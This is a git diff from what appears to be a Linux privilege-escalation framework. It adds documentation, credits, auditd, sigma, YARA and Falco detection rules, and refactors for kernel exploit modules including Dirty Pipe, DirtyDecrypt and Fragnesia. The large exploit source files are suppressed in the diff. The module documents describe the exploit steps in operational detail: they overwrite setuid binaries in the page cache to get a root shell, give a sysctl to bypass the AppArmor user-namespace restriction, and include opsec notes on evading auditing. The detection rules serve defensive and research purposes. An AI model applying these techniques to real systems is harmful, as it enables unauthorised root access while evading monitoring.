" description = \"Dirty Pipe (CVE-2022-0847): /etc/passwd page-cache UID flip — non-root username remapped to UID 0000+. Scan /etc/passwd directly; legitimate root entries use '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_pipe_falco[] =
|
||||
"- rule: Dirty Pipe splice from setuid/sensitive file by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls splice() with a fd pointing at a\n"
|
||||
" setuid-root binary or a credential file. The Dirty Pipe\n"
|
||||
" primitive (CVE-2022-0847) splices 1 byte from the target to\n"
|
||||
" a prepared pipe to inherit the stale PIPE_BUF_FLAG_CAN_MERGE,\n"
|
||||
" then writes attacker bytes that land in the file's page cache.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = splice and not user.uid = 0 and\n"
|
||||
" (fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers)\n"
|
||||
" or fd.name startswith /usr/bin/su\n"
|
||||
" or fd.name startswith /usr/bin/passwd\n"
|
||||
" or fd.name startswith /bin/su)\n"
|
||||
" output: >\n"
|
||||
" Dirty Pipe-style splice from sensitive file by non-root\n"
|
||||
" (user=%user.name proc=%proc.name fd=%fd.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0847]\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||
@@ -447,8 +520,10 @@ const struct skeletonkey_module dirty_pipe_module = {
|
||||
.cleanup = dirty_pipe_cleanup,
|
||||
.detect_auditd = dirty_pipe_auditd,
|
||||
.detect_sigma = dirty_pipe_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_pipe_yara,
|
||||
.detect_falco = dirty_pipe_falco,
|
||||
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; finds the UID offset in /etc/passwd by parsing the file; splice(1 byte) from (target_offset-1) to inherit the stale flag, then write(pipe) with the all-zero payload - kernel merges into the file's page cache. Offset must be non-page-aligned and the write must fit in a single page. Audit-visible via splice(fd=/etc/passwd) + write from a non-root process. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to verify. Cleanup callback evicts /etc/passwd via posix_fadvise + drop_caches.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_pipe(void)
|
||||
|
||||
@@ -0,0 +1,81 @@
|
||||
# dirtydecrypt — CVE-2026-31635
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||
|
||||
## Summary
|
||||
|
||||
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
|
||||
`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
|
||||
incoming rxgk socket buffers **in place** before the HMAC is verified.
|
||||
When the skb fragment pages are page-cache pages — spliced in via
|
||||
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
|
||||
page cache of a read-only file.
|
||||
|
||||
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
|
||||
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
|
||||
|
||||
## Primitive
|
||||
|
||||
Each `fire()`:
|
||||
|
||||
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
|
||||
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
|
||||
completes the rxgk handshake.
|
||||
3. Forges a DATA packet whose **wire header comes from userspace** and
|
||||
whose **payload pages come from the target file's page cache**
|
||||
(`splice` + `vmsplice`).
|
||||
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
|
||||
check then fails (expected), but the page cache is already mutated.
|
||||
|
||||
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
|
||||
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
|
||||
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
|
||||
15-byte collateral of round _i_ without disturbing the byte round _i_
|
||||
fixed. Net cost ≈ 256 fires per byte.
|
||||
|
||||
The exploit rewrites the first 120 bytes of a setuid-root binary
|
||||
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
|
||||
`setuid(0)` + `execve("/bin/sh")`.
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
|
||||
- A readable setuid-root binary to use as the payload carrier.
|
||||
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
|
||||
into the SKELETONKEY module interface. The **exploit body** has not
|
||||
been validated end-to-end against a known-vulnerable kernel inside the
|
||||
SKELETONKEY CI matrix.
|
||||
|
||||
**`detect()` is now version-pinned** against the mainline fix commit
|
||||
[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
|
||||
< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
|
||||
tracker confirms older stable branches as <not-affected, vulnerable
|
||||
code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
|
||||
detector runs the rxgk primitive against a `/tmp` sentinel and reports
|
||||
empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
|
||||
the version check misses.
|
||||
|
||||
[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
|
||||
|
||||
**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
|
||||
kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
|
||||
for CVE-2026-31635 is the source of truth for branch-backport
|
||||
thresholds; extend the `kernel_range` table when distros publish
|
||||
stable backports.
|
||||
@@ -0,0 +1,47 @@
|
||||
# NOTICE — dirtydecrypt
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
|
||||
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
|
||||
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
|
||||
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
|
||||
decrypts **in place** before verifying the HMAC. When the skb fragment
|
||||
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
|
||||
loopback), the in-place decrypt corrupts the page cache of a read-only
|
||||
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
|
||||
|
||||
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
|
||||
primitives that abuse a missing COW boundary.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and reported by **Zellic** and the **V12 security** team.
|
||||
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
|
||||
V12 security team.
|
||||
|
||||
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
|
||||
|
||||
The upstream PoC file (`poc.c`) carries no author, project, or
|
||||
`LICENSE` header of its own — its header is a purely technical
|
||||
description of the bug. The credit above is from the public
|
||||
disclosure, not from the file. CVE-2026-31635 was assigned for the
|
||||
flaw; its fix commit is not pinned in this module (see below).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` is a port of the V12 PoC into the
|
||||
`skeletonkey_module` interface. The exploit primitive — the
|
||||
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
|
||||
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
|
||||
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
|
||||
sentinel probe, `--no-shell` support, and the embedded detection
|
||||
rules. Research credit belongs to the people above.
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||
The CVE-2026-31635 fix commit is not yet pinned in this module, so
|
||||
`detect()` does not perform a kernel-version patched/vulnerable
|
||||
verdict — see `MODULE.md`.
|
||||
@@ -0,0 +1,28 @@
|
||||
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
|
||||
#
|
||||
# The rxgk in-place decrypt corrupts the page cache of a read-only
|
||||
# file. These rules flag the syscall surface the exploit drives and
|
||||
# writes to the setuid binaries it targets.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Modification of common payload carriers / credential files
|
||||
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
|
||||
|
||||
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
|
||||
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
|
||||
|
||||
# rxrpc security keys added to the process keyring
|
||||
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
|
||||
|
||||
# splice() drives page-cache pages into the forged DATA packet
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
@@ -0,0 +1,32 @@
|
||||
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
|
||||
id: 7c1e9a40-skeletonkey-dirtydecrypt
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-modification footprint of the rxgk page-cache write
|
||||
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
|
||||
AF_RXRPC sockets followed by modification of a setuid-root binary or
|
||||
a credential file.
|
||||
references:
|
||||
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
modification:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/usr/bin/su'
|
||||
- '/bin/su'
|
||||
- '/usr/bin/mount'
|
||||
- '/usr/bin/passwd'
|
||||
- '/usr/bin/chsh'
|
||||
- '/etc/passwd'
|
||||
- '/etc/shadow'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: modification and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.31635
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||
#define DIRTYDECRYPT_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirtydecrypt_module;
|
||||
|
||||
#endif
|
||||
@@ -32,6 +32,7 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
@@ -108,40 +109,33 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset)
|
||||
return (unsigned long)best_base;
|
||||
}
|
||||
|
||||
static int read_first_line(const char *path, char *out, size_t n)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return -1;
|
||||
if (!fgets(out, n, f)) { fclose(f); return -1; }
|
||||
fclose(f);
|
||||
/* trim trailing newline */
|
||||
size_t L = strlen(out);
|
||||
while (L && (out[L-1] == '\n' || out[L-1] == '\r')) out[--L] = 0;
|
||||
return 0;
|
||||
}
|
||||
/* (read_first_line() removed — meltdown status now comes from
|
||||
* ctx->host->meltdown_mitigation, populated once at startup in
|
||||
* core/host.c. One file open across the corpus instead of per-detect.) */
|
||||
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
||||
* (= EntryBleed-applicable). "Not affected" means a hardened CPU
|
||||
* (very recent Intel + most AMD = no KPTI = no EntryBleed). */
|
||||
char buf[256];
|
||||
int rc = read_first_line(
|
||||
"/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf);
|
||||
if (rc < 0) {
|
||||
/* KPTI status comes from the shared host fingerprint
|
||||
* (ctx->host->meltdown_mitigation) — populated once at startup by
|
||||
* reading /sys/devices/system/cpu/vulnerabilities/meltdown. The
|
||||
* raw string is preserved (not just the kpti_enabled bool) so we
|
||||
* can distinguish "Not affected" (CPU immune; OK) from
|
||||
* "Mitigation: PTI" / "Vulnerable" (KPTI on; vulnerable to
|
||||
* EntryBleed) without re-reading sysfs. */
|
||||
const char *meltdown = ctx->host ? ctx->host->meltdown_mitigation : "";
|
||||
if (meltdown[0] == '\0') {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
||||
fprintf(stderr, "[?] entrybleed: meltdown vuln status unknown — "
|
||||
"assuming KPTI on (conservative)\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", meltdown);
|
||||
}
|
||||
|
||||
/* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */
|
||||
if (strstr(buf, "Not affected") != NULL) {
|
||||
if (strstr(meltdown, "Not affected") != NULL) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
||||
"EntryBleed N/A\n");
|
||||
@@ -294,6 +288,8 @@ const struct skeletonkey_module entrybleed_module = {
|
||||
.detect_sigma = entrybleed_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.opsec_notes = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_entrybleed(void)
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
# fragnesia — CVE-2026-46300
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||
|
||||
## Summary
|
||||
|
||||
Fragnesia ("Fragment Amnesia") is an XFRM ESP-in-TCP local privilege
|
||||
escalation. `skb_try_coalesce()` fails to propagate the
|
||||
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||
buffers — so the kernel forgets that a fragment is externally backed by
|
||||
page-cache pages spliced in from a file. The ESP-in-TCP receive path
|
||||
then decrypts in place, corrupting the page cache of a read-only file.
|
||||
|
||||
Fragnesia is a **latent bug exposed by the Dirty Frag fix**: the
|
||||
candidate patch cites the Dirty Frag remediation (`f4c50a4034e6`) as a
|
||||
commit it "fixes". It is the same page-cache-write bug class as Copy
|
||||
Fail / Dirty Frag, reached through a different code path.
|
||||
|
||||
## Primitive
|
||||
|
||||
1. Build a 256-entry **AES-GCM keystream-byte table** via `AF_ALG`
|
||||
`ecb(aes)` — for any wanted output byte, this yields the ESP IV
|
||||
whose keystream byte XORs the current byte to the target.
|
||||
2. Enter a mapped **user namespace** + **network namespace**, bring
|
||||
loopback up, and install an XFRM **ESP-in-TCP** state
|
||||
(`rfc4106(gcm(aes))`, `TCP_ENCAP_ESPINTCP`).
|
||||
3. A **receiver** accepts a loopback TCP connection and flips it to the
|
||||
`espintcp` ULP; a **sender** `splice()`s page-cache pages of the
|
||||
target file into that TCP stream behind a crafted ESP prefix.
|
||||
4. The coalesce bug makes the kernel decrypt the spliced page-cache
|
||||
pages in place — one chosen byte per trigger.
|
||||
|
||||
The exploit rewrites the first 192 bytes of a setuid-root binary
|
||||
(`/usr/bin/su` and friends) with an ET_DYN ELF that drops privileges to
|
||||
0 and `execve`s `/bin/sh`.
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks unprivileged-userns availability + a readable setuid carrier ≥ 4096 bytes. With `--active`, runs the full ESP-in-TCP primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||
| `--exploit … --i-know` | Forks a child that places the payload into the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||
| `--cleanup` | Evicts the carrier from the page cache. The on-disk binary is never written. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- **Unprivileged user namespaces enabled.** On Ubuntu, AppArmor blocks
|
||||
this by default — `sysctl kernel.apparmor_restrict_unprivileged_userns=0`
|
||||
(or chain a separate bypass). This is the scoping question the old
|
||||
`_stubs/fragnesia_TBD` raised; the module ships and reports
|
||||
`PRECOND_FAIL` cleanly when the userns gate is closed.
|
||||
- `CONFIG_INET_ESPINTCP` built into the kernel.
|
||||
- A readable setuid-root binary ≥ 4096 bytes as the payload carrier.
|
||||
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||
|
||||
## Port notes
|
||||
|
||||
The upstream PoC renders a full-screen ANSI "smash frame" TUI
|
||||
(`draw_smash_frame` + terminal scroll-region escapes). That is **not**
|
||||
ported — it cannot coexist with a shared multi-module dispatcher.
|
||||
Progress is logged with `[*]`/`[+]`/`[-]` prefixes, gated on `--json`.
|
||||
The exploit mechanism itself is reproduced faithfully.
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/v12-security/pocs/tree/main/fragnesia>, compiled
|
||||
into the SKELETONKEY module interface. The **exploit body** has not
|
||||
been validated end-to-end against a known-vulnerable kernel inside the
|
||||
SKELETONKEY CI matrix.
|
||||
|
||||
**`detect()` is now version-pinned**: the Fragnesia fix ships in
|
||||
mainline Linux **7.0.9** (Debian tracker source-of-truth, `linux
|
||||
unstable: 7.0.9-1 fixed`). The `kernel_range` table marks the 7.0.x
|
||||
branch patched at `7.0.9`; older Debian-stable branches (5.10 / 6.1 /
|
||||
6.12) are currently still vulnerable per the tracker. With `--active`,
|
||||
the detector runs the full ESP-in-TCP primitive against a `/tmp` file
|
||||
and reports empirically — catches stable-branch backports the version
|
||||
table doesn't know about, and CONFIG_INET_ESPINTCP=n kernels where the
|
||||
primitive is structurally unreachable.
|
||||
|
||||
**Before promoting to 🟢:** validate the exploit end-to-end on a
|
||||
≤ 7.0.8 kernel. Extend the `kernel_range` table with backport
|
||||
thresholds for 5.10 / 6.1 / 6.12 as distros publish them.
|
||||
@@ -0,0 +1,48 @@
|
||||
# NOTICE — fragnesia
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-46300** — "Fragnesia" ("Fragment Amnesia"). XFRM ESP-in-TCP
|
||||
local privilege escalation. `skb_try_coalesce()` fails to propagate the
|
||||
`SKBFL_SHARED_FRAG` marker when moving paged fragments between socket
|
||||
buffers, so the kernel loses track of the fact that a fragment is
|
||||
externally backed by page-cache pages spliced in from a file. The
|
||||
ESP-in-TCP receive path then decrypts in place, corrupting the page
|
||||
cache of a read-only file.
|
||||
|
||||
Fragnesia is a **latent bug exposed by the Dirty Frag remediation**:
|
||||
the candidate fix explicitly cites the Dirty Frag patch
|
||||
(`f4c50a4034e6`) as a commit it "fixes" — the Dirty Frag remediation
|
||||
made a previously latent flaw practically exploitable.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered by **William Bowling** with the **V12 security** team.
|
||||
|
||||
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/fragnesia>
|
||||
> Patch thread: <https://lists.openwall.net/netdev/2026/05/13/79>
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` is a port of the V12 PoC
|
||||
(`xfrm_espintcp_pagecache_replace`) into the `skeletonkey_module`
|
||||
interface. The exploit primitive — the AES-GCM keystream-byte table
|
||||
built via AF_ALG, the per-byte IV selection, the userns + netns + XFRM
|
||||
ESP-in-TCP setup, the splice-driven sender/receiver trigger pair, the
|
||||
192-byte ELF payload — is reproduced from that PoC.
|
||||
|
||||
**Port adaptation:** the PoC's ANSI "smash frame" TUI
|
||||
(`draw_smash_frame` + terminal scroll-region escape sequences) is
|
||||
**not** carried over — it is incompatible with running as one module
|
||||
among many under a shared dispatcher. Progress is reported with
|
||||
SKELETONKEY's `[*]`/`[+]`/`[-]` log prefixes instead. SKELETONKEY also
|
||||
adds the detect/cleanup lifecycle, an `--active` probe, `--no-shell`
|
||||
support, and the embedded detection rules. Research credit belongs to
|
||||
the people above.
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||
Requires `CONFIG_INET_ESPINTCP` and unprivileged user-namespace
|
||||
creation. The CVE-2026-46300 fix commit is not yet pinned in this
|
||||
module — see `MODULE.md`.
|
||||
@@ -0,0 +1,31 @@
|
||||
# Fragnesia (CVE-2026-46300) — auditd detection rules
|
||||
#
|
||||
# The XFRM ESP-in-TCP coalesce bug corrupts the page cache of a
|
||||
# read-only file. These rules flag the syscall surface the exploit
|
||||
# drives and writes to the setuid binaries it targets.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Modification of common payload carriers / credential files
|
||||
-w /usr/bin/su -p wa -k skeletonkey-fragnesia
|
||||
-w /bin/su -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/mount -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/passwd -p wa -k skeletonkey-fragnesia
|
||||
-w /usr/bin/chsh -p wa -k skeletonkey-fragnesia
|
||||
-w /etc/passwd -p wa -k skeletonkey-fragnesia
|
||||
-w /etc/shadow -p wa -k skeletonkey-fragnesia
|
||||
|
||||
# AF_ALG socket creation (family 38) — builds the GCM keystream table
|
||||
-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-fragnesia-afalg
|
||||
|
||||
# XFRM state setup over NETLINK_XFRM
|
||||
-a always,exit -F arch=b64 -S sendto -k skeletonkey-fragnesia-xfrm
|
||||
|
||||
# TCP_ULP espintcp + ESP setsockopt surface
|
||||
-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-fragnesia-sockopt
|
||||
|
||||
# splice() drives page-cache pages into the ESP-in-TCP stream
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-fragnesia-splice
|
||||
@@ -0,0 +1,30 @@
|
||||
title: Possible Fragnesia exploitation (CVE-2026-46300)
|
||||
id: 9b3d2e71-skeletonkey-fragnesia
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-modification footprint of the Fragnesia XFRM
|
||||
ESP-in-TCP page-cache write (CVE-2026-46300): non-root modification
|
||||
of a setuid-root binary or credential file, typically inside a
|
||||
freshly created user + network namespace.
|
||||
references:
|
||||
- https://github.com/v12-security/pocs/tree/main/fragnesia
|
||||
- https://lists.openwall.net/netdev/2026/05/13/79
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
modification:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/usr/bin/su'
|
||||
- '/bin/su'
|
||||
- '/etc/passwd'
|
||||
- '/etc/shadow'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: modification and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.46300
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* fragnesia_cve_2026_46300 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef FRAGNESIA_SKELETONKEY_MODULES_H
|
||||
#define FRAGNESIA_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module fragnesia_module;
|
||||
|
||||
#endif
|
||||
@@ -59,15 +59,21 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -153,57 +159,53 @@ static const struct kernel_range fuse_legacy_range = {
|
||||
sizeof(fuse_legacy_patched_branches[0]),
|
||||
};
|
||||
|
||||
static int can_unshare_userns_mount(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------ */
|
||||
/* detect */
|
||||
/* ------------------------------------------------------------------ */
|
||||
static skeletonkey_result_t fuse_legacy_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] fuse_legacy: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] fuse_legacy: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.1 (when legacy_parse_param landed). Pre-5.1
|
||||
* kernels predate the code path entirely. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 1)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 1, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s predates the bug introduction\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, &v);
|
||||
bool patched = kernel_range_is_patched(&fuse_legacy_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] fuse_legacy: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns_mount();
|
||||
/* user_ns availability comes from the shared host fingerprint. The
|
||||
* fingerprint's probe uses CLONE_NEWUSER alone; this module also
|
||||
* needs CLONE_NEWNS, but the kernel gates both on the same userns
|
||||
* sysctls (kernel.unprivileged_userns_clone / AppArmor restriction),
|
||||
* so the userns probe is a sound proxy. */
|
||||
